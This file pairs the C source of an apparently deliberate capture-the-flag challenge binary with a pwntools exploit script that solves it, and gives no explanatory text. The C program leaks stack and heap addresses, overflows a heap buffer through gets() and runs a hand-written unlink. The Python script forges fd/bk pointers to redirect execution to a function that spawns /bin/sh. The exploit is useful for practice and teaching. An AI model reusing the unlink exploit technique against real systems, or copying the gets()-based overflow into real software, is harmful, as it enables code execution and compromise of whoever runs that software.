#include <stdio.h>

#include <stdlib.h>

#include <string.h>

typedef struct tagOBJ{

struct tagOBJ* fd;

struct tagOBJ* bk;

char buf[8];

}OBJ;

void shell(){

system("/bin/sh");

}

void unlink(OBJ* P){

OBJ* BK;

OBJ* FD;

BK=P->bk;

FD=P->fd;

FD->bk=BK;

BK->fd=FD;

}

int main(int argc, char* argv[]){

malloc(1024);

OBJ* A = (OBJ*)malloc(sizeof(OBJ));

OBJ* B = (OBJ*)malloc(sizeof(OBJ));

OBJ* C = (OBJ*)malloc(sizeof(OBJ));

// double linked list: A <-> B <-> C

A->fd = B;

B->bk = A;

B->fd = C;

C->bk = B;

printf("here is stack address leak: %p\n", &A);

printf("here is heap address leak: %p\n", A);

printf("now that you have leaks, get shell!\n");

// heap overflow!

gets(A->buf);

// exploit this unlink!

unlink(B);

return 0;

}

from pwn import *

r = process("./unlink")

gdb.attach(pidof(r)[0])

context.log_level='debug'

shell = 0x80484eb

r.recv(30)

leak_stack = int(r.recvuntil("\n"),16)

r.recv(29)

leak_heap = int(r.recvuntil("\n"),16)

r.recv()

print "stack :", hex(leak_stack)

print "heap :", hex(leak_heap)

payload = ""

payload += p32(shell)

payload += "A"*8

payload += p32(0x19)

payload += p32(leak_heap+12) #fd

payload += p32(leak_stack + 0x10 ) #bk

r.sendline(payload)

r.interactive()